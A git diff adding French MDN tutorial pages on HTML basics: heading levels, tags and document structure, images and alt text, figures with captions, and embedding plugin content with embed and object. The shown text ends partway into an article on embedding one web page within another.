Un autre argument en faveur d'un unique titre de niveau 1 serait l'impact sur le référencement. Ce point est plus discutable car les algorithmes des moteurs de recherche sont des secrets bien gardés, cela dit, certaines observations tendent à montrer que les niveaux de titres ont un impact sur le classement d'un site et que plus un niveau de titre est utilisé, plus l'impact sur le classement s'affaiblit.

+ +
+

Attention : On voit souvent les titres de niveau 1 utilisés pour mettre en avant le logo d'un site web ou sa marque. Comme ces informations ne sont pas les informations les plus structurantes ni les plus importantes, il est préférable d'éviter ce genre de détournement.

+
+ +

Ajouter des sous-titres

+ +

Sauf si votre document est très court, vous devrez le découper en sections. Chaque section commence avec un titre {{htmlelement("h2")}} :

+ +
...
+<h2>Organisez la structure de votre document avec HTML</h2>
+...
+<h2>Ajustez le style de votre document avec CSS</h2>
+...
+ +

Si besoins, vous pouvez découper vos sections en sous-sections et ainsi de suite en utilisant des éléments {{htmlelement("h3")}} jusqu'à {{htmlelement("h6")}}. Cela dit, si vous arrivez à un niveau de découpage avec {{htmlelement("h4")}} voire inférieur, cela peut signifier que votre document est trop long et qu'il serait préférable de le découper pour en faciliter la lecture.

+ +

Lorsque vous créer des sections et sous-sections, il y a quelques points à prendre en compte afin d'améliorer l'expérience du lecteur :

+ +
+
Gardez une hiérarchie cohérente
+
Autrement dit, cela signifie que vous devriez éviter de sauter des niveaux de titres (par exemple passer directement d'un niveau <h1> ou <h2> à un niveau <h4>). Vos lecteurs, notamment ceux qui utilisent des lecteurs d'écran, pourraient penser que quelque chose manque à votre page.
+
Utilisez les niveaux de titre pour leur sémantique et non pour leur mise en forme
+
Le rôle de HTML est de fournir des informations sémantiques (sur le sens). La mise en forme par défaut d'un élément HTML donné n'a pas de rôle particulier et peut être modifiée avec {{Glossary("CSS")}}. Lorsqu'on s'occupe des titres, on peut utiliser la propriété CSS font-size afin de modifier la taille de la police utilisée.
+
N'utilisez pas les niveaux de titres pour représenter des sous-titres ou des slogans
+
Une des notions qui manque à HTML est le fait de ne pas avoir d'éléments particulier pour représenter un sous-titre ou un slogan. Certains développeurs utilisent les éléments de titre à cet effet mais cela entraîne des cassures dans la hiérarchie des titres et pose des problèmes d'accessibilité. Bien qu'il y ait quelques tentatives pour résoudre ce problème avec l'élément {{HTMLElement('hgroup')}}, il est préférable d'utiliser un élément {{htmlelement("p")}} ou {{htmlelement("span")}} avec un attribut {{htmlattrxref('class')}} donné.
+
+ +

Gérer des niveaux de titre dynamiques

+ +

L'élément {{htmlelement("section")}} est apparu avec HTML5 pour marquer les différentes sections d'un document HTML, chacune de ces sections étant a priori suivie d'un titre approprié.

+ +

Supposons que votre plan évolue (ce qui peut arriver si le HTML est généré de façon dynamique par le serveur) et que vous décidiez que certains <h3> devraient en fait être des <h2>. De même, si vous compilez plusieurs pages web en un e-book, cela peut être ennuyant que d'avoir à revoir tous les différents titres.

+ +

Si vos <section> sont imbriquées de façon logique, HTML5 indique que chaque section peut commencer avec <h1> et que ceux-ci continueront à former un plan valide. L'idée est plutôt bonne mais souffre de quelques inconvénients : le code est moins lisible et il n'est plus possible d'appliquer une mise en forme différente pour les <h1> si ceux-ci n'ont pas la même importance.

+ +

Pour plus de détails, lire l'article Sectionnement et plan d'un document HTML5.

+ +

En savoir plus

+ + diff --git a/files/fr/conflicting/learn/html/introduction_to_html/index.html b/files/fr/conflicting/learn/html/introduction_to_html/index.html new file mode 100644 index 0000000000..7e449e92e0 --- /dev/null +++ b/files/fr/conflicting/learn/html/introduction_to_html/index.html @@ -0,0 +1,258 @@ +--- +title: Les balises HTML et leur rôle +slug: Apprendre/HTML/Balises_HTML +tags: + - Beginner + - CodingScripting + - HTML +translation_of: Learn/HTML/Introduction_to_HTML +translation_of_original: Learn/HTML/HTML_tags +--- +
+

Cet article aborde les bases de {{Glossary("HTML")}} : les balises et comment les utiliser.

+
+ + + + + + + + + + + + +
Prérequis :Vous devriez au préalable connaître la différence entre une page web et un site web et savoir comment créer un document HTML simple.
Objectifs :Apprendre ce que sont les balises HTML et comment les utiliser correctement dans un document HTML.
+ +

{{Glossary("HTML")}} (HyperText Markup Language) est un langage descriptif utilisé pour structurer le contenu d'une page (ses textes, ses images, ses liens, etc.).

+ +

Un document HTML est un fichier texte qui contient des {{glossary("balise","balises")}} (ou tag en anglais). Ces balises doivent être utilisées d'une certaine façon pour décrire correctement la structure du document. Les balises indiquent au navigateur comment afficher le document, certaines balises permettent d'intégrer différents médias comme des images, des vidéos ou des musiques parmi le texte de la page.

+ +

Le navigateur n'affiche pas les balises telles quelles. Lorsqu'un utilisateur visite une page web, son navigateur analyse (ou parse en anglais) le document et l'interprète afin d'afficher la page web correctement. Par exemple, si le document contient une balise {{HTMLElement("img")}}, le navigateur chargera l'image associée et affichera l'image à la place de la balise HTML.

+ +

La syntaxe des balises

+ +

Les balises HTML respectent une syntaxe simple et stricte :

+ + + +

Voici quelques exemples :

+ + + +

Les éléments HTML

+ +

Généralement, les balises fonctionnent par paires. La première balise est la balise ouvrante et la seconde est la balise fermante. Une balise fermante doit avoir le même nom que la balise ouvrante correspondante. De plus, une balise fermante doit contenir une barre oblique entre le chevron initial et le nom de la balise. Ainsi, si <p> est une balise ouvrante, </p> sera la balise fermante correspondante.

+ +

Un élément HTML se compose d'une balise ouvrante, d'un contenu textuel et d'une balise fermante :

+ +

The basic syntax of HTML tags

+ +

La rigidité des conventions pour la fermeture des balises est utile afin de pouvoir imbriquer différents éléments les uns dans les autres :

+ +
<p>
+  Voici le début du paragraphe
+    <strong>
+      ici un texte important au sein du paragraphe
+    </strong>
+  et là, la fin du paragraphe.
+</p>
+
+ +
+

Bonne pratique : Si vous omettez les balises fermantes, le navigateur aura les coudées franches pour déterminer comment clôturer un élément. Ces règles sont bien définies mais souvent contre-intuitives (donc difficiles à deviner). Afin de vous épargner des pertes de temps à venir, préférez fermer les éléments.

+
+ +

Les balises HTML

+ +

HTML contient environ 140 balises qui fournissent au navigateur des indications sur le sens d'un élément, son interprétation ou son affichage. Entre autres choses, les balises permettent de fournir des méta-données pour le document HTML, de mettre en avant certaines phrases, d'ajouter des fichiers multimédias ou de gérer des formulaires en ligne.

+ +

Voici quelques-unes des balises les plus fréquemment utilisées :

+ +
+
{{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}
+
Ces balises permetttent de définir des titres de différents niveaux : h1 pour les grands titres et h6 pour les titres des sections très spécifiques.
+
{{HTMLElement("p")}}
+
La balise utilisée pour créer des paragraphes. Ces paragraphes sont généralement (automatiquement) séparés par des sauts de ligne.
+
{{HTMLElement("a")}}
+
Cette balise est utilisée afin de créer des liens vers des ressources externes : une autre page web, un e-mail, une image, une autre section du document, etc. Les balises {{HTMLElement("a")}} contiennent le texte qui sera utilisé pour le lien, l'attribut {{htmlattrxref("href","a")}} de cet élément est utilisé pour définir l'{{glossary("URL")}} cible : <a href="url_cible">du texte qui sera lu par l'utilisateur</a>.
+
{{HTMLElement("img")}}
+
Cette balise permet d'intégrer une image dans un document HTML. Voici un exemple d'utilisation : <img src="url/vers/mon/image.png" alt="Une description">
+
+ +
+
{{HTMLElement("div")}} et {{HTMLElement("span")}}
+
Ces balises n'ont pas de signification particulière, elles permettent simplement de séparer des sections d'un document. La plupart du temps, ces balises sont utilisées pour la mise en forme et le script (dont nous discuterons plus tard).
+
{{HTMLElement("ul")}}, {{HTMLElement("ol")}} et {{HTMLElement("li")}}
+
Ces balises sont utilisées pour créer des listes. <ul> permet de définir une liste non-ordonnée et <ol> de définir une liste ordonnée. Pour chacune de ces listes, ce sera la balise  <li> qui permettra de définir un élément de la liste. Voici un exemple avec <ul> :
+
+ +
 <ul>
+  <li>Café</li>
+  <li>Thé</li>
+  <li>Lait</li>
+</ul>
+ +

N'hésitez pas à expérimenter avec ces balises. Dans les articles suivants, nous verrons comment intégrer des fichiers multimédias, des formulaires, des tableaux, etc. Dans tous les cas, vous pouvez faire vos propres tests avec n'importe quelle balise HTML. Assurez-vous de bien choisir la bonne balise pour ce que vous souhaitez faire : la sémantique des éléments HTML est très importante, notamment pour les moteurs de recherches qui analysent et classent votre site.

+ +

Pédagogie active

+ +

Cet article ne contient pas encore de matériau interactif. N'hésitez pas à contribuer.

+ +

Aller plus loin

+ +

Pour l'instant, nous avons vu quelques règles simples concernant les éléments et les balises HTML. Mais c'est bien connu, chaque règle a ses exceptions.

+ +

Les balises « auto-fermantes » (ou balises vides)

+ +

Nous avons vu précédemment qu'un élément HTML était composé de texte entre deux balises. Cependant, certaines balises ne contiennent pas de texte. L'exemple le plus simple est {{HTMLElement("img")}}. Le navigateur remplace la balise <img> avec l'image indiquée, ignorant le texte de l'élément. Pour cette raison, <img> n'a pas de balise fermante.

+ +
Here some text before an image element
+  <img src="myImage.png" alt="">
+Here some text after an image element
+
+ +
+

Note : Attention à ne pas mélanger les éléments et les balises. Parfois, une balise seule permet de définir un élément mais la plupart du temps, les balises fonctionnent par paires.

+
+ +

Les éléments spéciaux

+ +

En HTML, il existe deux éléments spéciaux qui n'ont pas de balise. Ces éléments sont essentiels pour tout document HTML.

+ +

Le doctype

+ +

Le doctype (pour « type de document ») est une déclaration formelle, placée au tout début d'un document HTML. Elle indique que le document est écrit avec du HTML standard. Le doctype se présente de cette façon :

+ +
<!DOCTYPE html>
+ +

Si vous ne commencez pas votre document par <!DOCTYPE html>, les navigateurs afficheront votre document en mode quirks. Le mode quirks est le mode utilisé par le navigateur pour afficher les documents anciens ou malformés, écrits dans les années 1990 lorsque HTML était peu (voire pas du tout) standardisé et que chaque navigateur gérait HTML à sa façon.

+ +

Les commentaires

+ +

Les commentaires sont des éléments très particuliers. Ce sont des notes que vous pouvez utiliser pour annoter votre code HTML . Le navigateur n'affichera pas ces commentaires dans la page web (cependant, le code source peut être lu par n'importe qui et les commentaires seront donc publics comme le reste de la page).

+ +

En HTML, les commentaires sont écrits avec du texte contenu entre <!-- et -->

+ +
<!-- Ceci est un commentaire. Il ne sera pas affiché dans le navigateur.-->
+
+Ce texte s'affichera dans le navigateur.
+
+ +

Structure d'un document HTML

+ +

La structure de base d'un document HTML est définie avec un ensemble de balises spéciales. Les éléments définis dans ces balises ne doivent pas apparaître plus d'une fois dans le document (excepté pour l'élément {{HTMLElement("title")}} ). Le navigateur gèrera les cas où ces éléments ne sont pas fournis (ce qui n'est pas conseillé).

+ +
+
{{HTMLElement("html")}}
+
Cet élément définit la racine du document. Chaque document HTML ne contient qu'une racine. Tous les autres éléments doivent être placés dans cet élément.
+
{{HTMLElement("head")}}
+
Cet élément définit la tête du document. Le navigateur n'affichera pas cet élément qui ne contient que des méta-données, dont le titre et des informations descriptives. Les navigateurs pourront utiliser ces méta-données pour améliorer l'ergonomie de la page (nous le verrons par la suite).
+
{{HTMLElement("body")}}
+
Cet élément définit le corps du document. Il n'y a qu'un seul élément body dans un document HTML et celui-ci est toujours placé après la tête. L'utilisateur verra tout ce qui est placé dans cet élément.
+
{{HTMLElement("title")}}
+
Cet élément définit le titre d'un document. Le titre est le seul élément HTML obligatoire et il est placé dans la tête. En effet, le titre est une des méta-données utilisée par le navigateur (il est utilisé pour le titre de la fenêtre, le titre de l'onglet et aussi dans les résultats d'un moteur de recherche).
+
+ +

Formel ou valide ?

+ +

Voici le document HTML formel le plus simple qu'on puisse écrire :

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <title>Un document HTML formel</title>
+  </head>
+  <body>
+    <!-- Du contenu pour l'utilisateur ici -->
+  </body>
+</html>
+
+ +

Si on retire les différentes balises optionnelles, on obtient alors le document HTML valide le plus simple qui puisse être écrit :

+ +
<!DOCTYPE html>
+<title>Et voilà un tout petit document HTML</title>
+
+ +
+

Bonne pratique : Nous vous recommandons d'utiliser la structure formelle. Si vous ne séparez pas clairement le contenu de <head> du contenu de <body>, il sera plus facile de commettre des erreurs qui entraîneront un comportement étrange du navigateur.

+
+ +

Les éléments qui se chevauchent

+ +

Pour finir notre aperçu sur les éléments HTML, précisons que les éléments peuvent être imbriqués mais ne peuvent pas se chevaucher.

+ +

Comment faire se chevaucher des éléments ? Voici un exemple :

+ +
<p>
+  le début de mon paragraphe
+    <strong>
+      du texte important
+</p>
+<p>
+      un deuxième paragraphe
+    </strong>
+   et l'élément strong a été bouclé
+   juste avant
+</p>
+
+ +

Dans l'exemple ci-dessus, l'élément strong chevauche ceux des paragraphes. Ceci est une erreur (qui n'est pas autorisée par HTML). Il faut plutôt écrire :

+ +
<p>
+  mon paragraphe commence ici
+    <strong>
+      du texte important
+    </strong>
+</p>
+<p>
+    <strong>
+      un deuxième paragraphe
+    </strong>
+  dont le début était important aussi
+</p>
+
+ +

Dans des cas simples comme celui-ci, le navigateur pourra deviner ce qui était voulu mais généralement de telles erreurs pourront avoir des répercussions importantes (par exemple avec {{Glossary("CSS")}} ou {{Glossary("JavaScript")}} que nous verrons bientôt). Par exemple, si nous avions utilisé une balise {{HTMLElement("div")}} à la place des balises {{HTMLElement("p")}} et {{HTMLElement("strong")}} :

+ +
<div>
+  le début de mon paragraphe
+    <div>
+      du texte important
+    </div>
+    <div>
+      un deuxième paragraphe
+    </div>
+  la fin du paragraphe
+</div>
+
+ +

Comment savoir si les éléments se chevauchent ou non ? C'est impossible car il n'y a plus de chevauchement mais une imbrication d'éléments div ! Attention donc si vous souhaitez maîtriser le comportement de vos futurs documents HTML.

+ +

Vérifier le code HTML

+ +

Une bonne pratique consiste à valider son code pour s'assurer qu'il est correct. Le meilleur outil pour cela est le validateur HTML du W3C. C'est un outil en ligne qui analyse votre document HTML et vous indique si celui-ci respecte les spécifications HTML. Si le document est invalide, le validateur fournira des indications quant aux erreurs qu'il a trouvées.

+ +
+

Note : Étant donné la méthode utilisée par le validateur, il est préférable de se concentrer sur la première erreur relevée dans l'analyse. En effet, une seule erreur peut en déclencher d'autres en cascades. Si le résultat de l'analyse comporte une myriade d'erreurs, commencez par résoudre la première, cela permettra éventuellement de résoudre des erreurs suivantes.

+
+ +

Prochaines étapes

+ +

Grâce aux notions abordées dans cet article, vous devriez être en mesure d'écrire votre premier document HTML complet et d'obtenir une première version d'un site web fonctionnel.

+ + diff --git a/files/fr/conflicting/learn/html/multimedia_and_embedding/images_in_html/index.html b/files/fr/conflicting/learn/html/multimedia_and_embedding/images_in_html/index.html new file mode 100644 index 0000000000..36c8d1cfbb --- /dev/null +++ b/files/fr/conflicting/learn/html/multimedia_and_embedding/images_in_html/index.html @@ -0,0 +1,125 @@ +--- +title: Ajouter des images à une page web +slug: Apprendre/HTML/Comment/Ajouter_des_images_à_une_page_web +tags: + - Beginner + - Composing + - HTML + - NeedsActiveLearning + - OpenPractices +translation_of: >- + Learn/HTML/Multimedia_and_embedding/Images_in_HTML#How_do_we_put_an_image_on_a_webpage +translation_of_original: Learn/HTML/Howto/Add_images_to_a_webpage +--- +

Les images permettent de faire passer des messages plus simplement et plus directement. Elles attirent l'œil du visiteur lorsqu'il consulte le site. Dans cet articles, nous allons voir comment ajouter, simplement, des images à une page web.

+ + + + + + + + + + + + +
Prérequis :Vous devriez vous être familiarisé-e avec la création de documents HTML simples.
Objectifs :Apprendre les méthodes simples qui permettent d'ajouter une image dans un document HTML.
+ +
+

Cet article illustre uniquement comment insérer une image statique. Attention à la taille des images que vous utilisez, elles doivent rester légères pour être efficacement affichées sur les appareils des personnes dont la connexion est lente ou dont les écrans sont petits. Si vous souhaitez adapter votre contenu en fonction de la taille de l'écran et notamment pour les grands écrans, l'article sur les images adaptatives (responsive) pourra vous intéresser.

+
+ +

Ce dont vous avez besoin

+ +

Vous allez écrire un élément {{htmlelement("img")}}, mais pour remplir ses attributs correctement, il faut les informations correspondantes :

+ + + +

Une fois ces informations récoltées, vous pouvez écrire un élément <img> dans le code de votre page. <img> est un {{glossary("élément vide")}} et il n'y a donc pas de balise fermante </img>, il suffit uniquement de placer une barre oblique (slash) avant le chevron fermant de la balise : <img ... />. Si votre image fournit une information ou une fonctionnalité, votre code devrait ressembler à :

+ +
<img
+    src="images/graphique-camembert.png"
+    alt="[ABC Tech posssède 75% de part de marché et XYZ 25%]"
+    height="300px"
+    width="300px"
+/>
+
+ +

Si l'image est strictement décorative ou que le contenu associé est déjà fourni par le texte de la page, l'attribut alt peut être laissé blanc :

+ +
<img src="images/licorne.png" alt="" />
+
+ +
+

Attention ! La plupart des images sont couvertes par le droit d'auteur. Vous ne devez pas afficher une image sur votre page web sauf si

+ +
    +
  1. Vous possédez l'image, ou
    2. +
  2. Si vous avez reçu la permission écrite, explicite du propriétaire de l'image, ou
    3. +
  3. Si vous disposez de preuves comme quoi l'image appartient au domaine public
    4. +
+ +

De plus, il ne faut jamais faire point l'attribut src vers une image hébergée sur le site de quelqu'un d'autre. Cela s'appelle du "hotlinking" : cela gaspille des ressources vers le site d'origine, ralentit votre page et vous empêche d'être sûr du contenu de votre page (l'image peut être remplacée à tout moment). En bref, c'est totalement immoral.

+
+ +

Il est possible de transformer une image en lien en imbriquant un élément {{htmlelement("img")}} dans un élément {{htmlelement("a")}}. Dans ce cas, il est préférable de s'assurer que l'image est plus grande qu'un carré de 45px sur 45 px (sinon les utilisateurs auront du mal à cliquer/appuyer dessus). Pour plus d'informations à ce sujet, voir notre tutoriel sur comment ajouter des hyperliens.

+ +

Dans la suite de cet article, nous allons nous intéresser plus en détails à ce qui doit être utilisé pour les attributs height/width, src, et alt.

+ +

height et width

+ +

height et width ne doivent pas être utilisés pour redimensionner les images dans le navigateurs. Si vous utilisez ces attributs, les valeurs doivent correspondre à la taille réelle, exprimée en pixels, de l'image (votre éditeur d'image favori pourra vous fournir cette information si besoin). Si vous devez redimensionner l'image, utilisez un logiciel d'édition adapté.

+ +

Si vous fournissez de mauvaises valeurs pour la hauteur et la largeur, l'image semblera déformée. Si la hauteur et la largeur sont trop grandes, l'image aura l'air pixélisée. Si elles sont trop petites, vous gaspillerez de la bande passante et du temps de calcul en chargeant une image plus grande que nécessaire.

+ +

src

+ +

Vous pourriez fournir une {{glossary("URL")}} complète, composée d'un chemin absolu et d'un nom de fichier (par exemple https://exemple.com/images/licorne.png) mais cela n'a pas grand intérêt car il y a de très grandes chances que votre image se situe sur le même {{glossary("nom de domaine","domaine")}} que votre page web (encore une fois, le hotlinking est inacceptable).

+ +

Si vous ne fournissez qu'un nom de fichier, le navigateur consultera le même dossier que celui du document HTML affiché. Si l'image n'est pas à cet emplacement, le navigateur abandonnera le chargement de l'image.

+ +

La plupart du temps, vous aurez à utiliser un chemin relatif suivi d'un nom de fichier. C'est-à-dire qu'on écrit le chemin du fichier relativement à partir de l'endroit où la page est située. Pour ce chemin, on pourra utiliser deux points pour remonter d'un niveau de dossier (../) ou utiliser un seul point (./) pour faire référence au répertoire courant.

+ +

Si, par exemple, la page web courante est https://exemple.com/animaux/mythique.html et que l'image se situe à https://exemple.com/images/licorne.png, vous pourrez écrire ce chemin relatif : src="../images/licorne.png".

+ +
+

À des fins de référencement ({{glossary("SEO")}}), il est préférable de donner un nom descriptif pour le fichier (licorne.png sera mieux que img835.png). Google recommande également que l'ensemble des images soient placées dans un répertoire images.

+
+ +

alt

+ +

Il existe différents scénarios selon lesquels les visiteurs de votre site ne pourront profiter des images :

+ + + +

Autrement dit : les images ne doivent pas être primordiales pour votre site et le contenu textuel de celui-ci doit suffire entièrement.

+ +

Si vous insérez des images dans votre site, vous devez utiliser un attribut alt. Sinon, le navigateur utilisera un motif neutre et inutile quand l'image ne pourra être affichée. Que faut-il donc écrire dans l'attribut alt ? Cela dépend avant tout du rôle de l'image dans la page (en d'autres termes : que perd-t-on comme information si l'image ne s'affiche pas).

+ + + +

Le point-clé est de s'assurer que toutes les informations nécessaires sont contenues dans le texte de la page. Il ne faut pas qu'un visiteur qui ne voit pas les images réalise que quelque chose lui manque. Lors de l'écriture de votre page, vous pouvez tester en désactivant les images. Vous verrez par exemple que les expressions comme « une image de » ou « un logo de » sont assez peu utiles pour les textes alternatifs.

+ +

En savoir plus

+ + diff --git a/files/fr/conflicting/learn/html/multimedia_and_embedding/images_in_html_2c0377f7605f693cad465c2b4839addc/index.html b/files/fr/conflicting/learn/html/multimedia_and_embedding/images_in_html_2c0377f7605f693cad465c2b4839addc/index.html new file mode 100644 index 0000000000..ad32d4ea26 --- /dev/null +++ b/files/fr/conflicting/learn/html/multimedia_and_embedding/images_in_html_2c0377f7605f693cad465c2b4839addc/index.html @@ -0,0 +1,73 @@ +--- +title: Annoter des images et graphiques +slug: Apprendre/HTML/Comment/Annoter_des_images_et_graphiques +tags: + - Accessibility + - Beginner + - Guide + - HTML + - Learn +translation_of: >- + Learn/HTML/Multimedia_and_embedding/Images_in_HTML#Annotating_images_with_figures_and_figure_captions +translation_of_original: Learn/HTML/Howto/Annotate_images_and_graphics +--- +
+

HTML fournit une méthode simple pour ajouter des figures et leurs légendes.

+
+ + + + + + + + + + + + +
Prérequis :Vous devriez au préalable savoir comment créer un document HTML simple.
Objectifs :Apprendre comment ajouter des figures à une page web, accompagnées de leurs légendes.
+ +

Qu'est-ce qu'une figure ?

+ +

Une figure est une unité de contenu indépendante :

+ + + +

Si vous pensez qu'une légende doit être ajoutée à un contenu, c'est qu'il s'agit probablement d'une figure. Voici quelques exemples : des images, des fragments de code, des éléments audio ou vidéo, des équations, des tableaux, des diagrammes.

+ +

Pour symboliser des figures, HTML fournit l'élément {{htmlelement("figure")}} :

+ +
<figure>
+  <img alt="MDN" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png">
+</figure>
+
+ +

Ajouter une légende

+ +

Pour ajouter une légende, il suffit de la placer dans un élément {{htmlelement("figcaption")}}, lui-même placé au sein de l'élément <figure> à côté d'une des deux balises <figure> :

+ +
<figure>
+  <img alt="" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png">
+  <figcaption>Le logo de MDN en 2014</figcaption>
+</figure>
+
+ +

{{htmlelement("figcaption")}} indique au navigateur et aux technologies d'assistance (telles que les lecteurs d'écran) que la légende décrit le contenu de l'élément {{htmlelement("figure")}}.

+ +
+

Du point de vue de l'accessibilité, les légendes et les textes de l'attribut {{htmlattrxref('alt','img')}} ont deux rôles différents. Les légendes peuvent être utilisées par l'ensemble des visiteurs, qu'ils voient l'image ou non alors que le texte {{htmlattrxref('alt','img')}} n'est utilisé que lorsque l'image est absente.

+ +

Pour cette raison, une légende et le texte alt ne devraient pas être identiques car les deux textes apparaissent lorsque l'image n'apparaît pas. Vous pouvez tester ce point en désactivant les images dans votre navigateur.

+
+ +

En savoir plus

+ + diff --git a/files/fr/conflicting/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html b/files/fr/conflicting/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html new file mode 100644 index 0000000000..fcbe0b40c9 --- /dev/null +++ b/files/fr/conflicting/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html @@ -0,0 +1,154 @@ +--- +title: Ajouter du contenu Flash dans une page web +slug: Apprendre/HTML/Comment/Ajouter_contenu_Flash_dans_page_web +tags: + - Accessibility + - Advanced + - Flash + - Guide + - HTML +translation_of: >- + Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies#The_%3Cembed%3E_and_%3Cobject%3E_elements +translation_of_original: Learn/HTML/Howto/Add_Flash_content_within_a_webpage +--- +
+

Cet article illustre pourquoi il est nécessaire que le contenu d'une page web soit accessible sans plugin. Si vous avez besoin de tels plugins (pour un cas bien spécifique ou pour des raisons historiques), nous illustrerons également un cas expliquant comment intégrer du contenu de cette façon.

+
+ + + + + + + + + + + + +
Prérequis :Vous devez savoir comment créer un document HTML basique.
Objectifs :Cet article aborde les méthodes pour insérer du contenu, dépendant d'extensions tierces, dans une page web.
+ +
+

Résumé : Des plugins comme Flash représentent une technologie passée, notamment sur les appareils mobiles où ils ne sont pas disponibles. Les navigateurs destinés aux ordinateurs de bureau vont également abandonner leur support.

+
+ +

Tourner son clavier sept fois sur son bureau avant de dépendre de plugins tiers

+ +

Un plugin est un logiciel qui permet d'accéder à un contenu que le navigateur ne peut pas lire/décoder nativement. Il était une fois, les plugins étaient indispensables sur le Web. Il y a quelques années, installer Adobe Flash Player était un passage obligé pour regarder un film en ligne. À cette époque, on avait également de (trop) nombreuses alertes pour mettre à jour Flash Player ou Java Runtime Environment.

+ +

Depuis, les technologies web ont grandi et aquis une certaine maturité et une certaine robustesse. Pour la plupart des application, il est donc temps d'arrêter de dépendre de ces plugins et de tirer parti des technologies web. Cela permettra :

+ + + +

Que faire ? Si vous avez besoin d'une certaine intéractivité sur votre page, {{glossary("JavaScript")}} vous permettra sans aucun doute d'accomplir ce dont vous avez besoin, sans avoir à utiliser d'applets Java ou de composants ActiveX/BHO. Plutôt que d'utiliser Adobe Flash, vous pouvez utiliser la vidéo HTML5 pour les cas où vous avez besoin de médias, SVG pour les graphiques vectoriels et Canvas pour réaliser des images et animations complexes. Plusieurs années auparavant, Peter Elst écrivait déjà qu'Adobe Flash était rarement le meilleur outil pour développer sur le Web, notamment pour les jeux et les applications d'entreprises. En ce qui concerne ActiveX, même le navigateur de Microsoft, {{glossary("Microsoft Edge","Edge")}}, ne le supporte plus.

+ +

L'histoire de deux balises

+ +

Si vous devez dépendre de plugins pour un cas spécifique ou lié au cadre d'une entreprise donnée, HTML fournit deux élément pour intégrer du contenu provenant d'un plugin : {{htmlelement("embed")}} et {{htmlelement('object')}}. Il faut noter qu'<embed> est un élément vide, à la différence de <object>.

+ +

Il faudra donc utiliser les attributs pour fournir certaines informations :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 {{htmlelement("embed")}}{{htmlelement("object")}}
L'{{glossary("URL")}} du contenu à intégrer{{htmlattrxref('src','embed')}}{{htmlattrxref('data','object')}}
Le type {{glossary("MIME")}} précis du contenu à intégrer{{htmlattrxref('type','embed')}}{{htmlattrxref('type','object')}}
La hauteur et la largeur, exprimées en pixels CSS, de la boîte contrôlée par le plugin{{htmlattrxref('height','embed')}}
+ {{htmlattrxref('width','embed')}}		{{htmlattrxref('height','object')}}
+ {{htmlattrxref('width','object')}}
Les noms et valeurs à founir comme paramètres au pluginDes attributs ad hoc avec les noms et les valeursDes éléments sur une seule balise {{htmlelement("param")}} contenus dans la balise <object>
Du contenu HTML indépendant à utiliser en secours au cas où la ressource à intégrer n'est pas disponibleNon supporté (<noembed> est obsolète)Contenus dans la balise <object>, après les éléments <param>
+ +
+

<object> a besoin d'un attribut data ou d'un attribut type ou des deux. SI vous utilisez les deux, il faudra peut être utiliser l'attribut  {{htmlattrxref('typemustmatch','object')}} (uniquement implémenté dans Firefox à l'heure où cet article est écrit). typemustmatch permet au contenu intégré de ne pas être lancé tant que l'attribut type ne correspond pas au type du média. typemustmatch permet ainsi d'apporter beaucoup plus de sécurité lorsqu'on intègre du contenu provenant d'une autre {{glossary("origine")}} (cela peut empêcher des attaquants malveillants de lancer des scripts modifiés au travers du plugin).

+
+ +

Les deux exemples utilisent chacun <embed> ou <object> pour insérer un film Flash, <object> permet également de gérer un contenu à utiliser en cas de secours :

+ +
<embed
+  src="explosion.swf"
+  type="application/vnd.adobe.flash-movie"
+  width="500"
+  height="300"
+  bgcolor="#ff7f00"
+  allowfullscreen="true"
+/>
+ +
<object
+  data="explosion.swf"
+  type="application/vnd.adobe.flash-movie"
+  width="500"
+  height="300"
+  typemustmatch>
+    <param name="bgcolor" value="#ff7f00" />
+    <param name="allowfullscreen" value="true" />
+
+    <p>Le film Flash n'a pu être trouvé.</p>
+</object>
+
+ +

Afin d'être tout à fait complet, voici deux exemples supplémentaires. Encore une fois, il est (de loin) préférable d'utiliser JavaScript que des applets Java car le navigateur exécutera directement le code JavaScript sans passer par un environnement tiers, lourd. Ceci étant dit, voilà comment utiliser l'élément <object> pour insérer une applet Java :

+ +
<object
+  data="mon_applet.jar"
+  type="application/x-java-applet">
+    <param name="code" value="MaClasseJava">
+
+    <p>Java n'est pas disponible ou est désactive.</p>
+</object>
+
+ +

Un autre cas où on a besoin de faire appel à <object> : les fichiers PDF. Ces fichiers posent de nombreux problèmes d'accessibilité, notamment pour les utilisateurs qui utilisent un petit écran. Il ne devrait pas être absolument nécessaire de lire un PDF pour consulter un site web (imaginez si tous les sites web étaient uniquement disponibles en largeur fixe). Toutefois, si vous avez besoin d'intégrer un contenu PDF, voici comment le faire dans votre page web :

+ +
<object
+  data="mon_fichier.pdf"
+  type="application/pdf"
+  width="100%"
+  height="100%"
+  typemustmatch>
+    <p>Vous n'avez pas de plugin pour lire des fichiers PDF mais vous pouvez
+    <a href="mon_fichier.pdf">télécharger le fichier PDF correspondant.</a></p>
+</object>
+
+ +

En savoir plus

+ + diff --git a/files/fr/conflicting/learn/html/multimedia_and_embedding/other_embedding_technologies_fbe06d127f73df4dd2f56a31b7c2bd2d/index.html b/files/fr/conflicting/learn/html/multimedia_and_embedding/other_embedding_technologies_fbe06d127f73df4dd2f56a31b7c2bd2d/index.html new file mode 100644 index 0000000000..b5d0db7caa --- /dev/null +++ b/files/fr/conflicting/learn/html/multimedia_and_embedding/other_embedding_technologies_fbe06d127f73df4dd2f56a31b7c2bd2d/index.html @@ -0,0 +1,150 @@ +--- +title: Intégrer une page web au sein d'une autre page web +slug: Apprendre/HTML/Comment/Intégrer_une_page_web_dans_une_autre_page_web +tags: + - Beginner + - Guide + - HTML + - Learn + - Security +translation_of: Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies +translation_of_original: Learn/HTML/Howto/Embed_a_webpage_within_another_webpage +--- +
+

Dans cet article, nous verrons comment intégrer une page web dans une autre, tout en minimisant les risques encourus par une telle manipulation.

+
+ + + + + + + + + + + + +
Prérequis :Vous devriez au préalable savoir comment créer un document HTML simple.
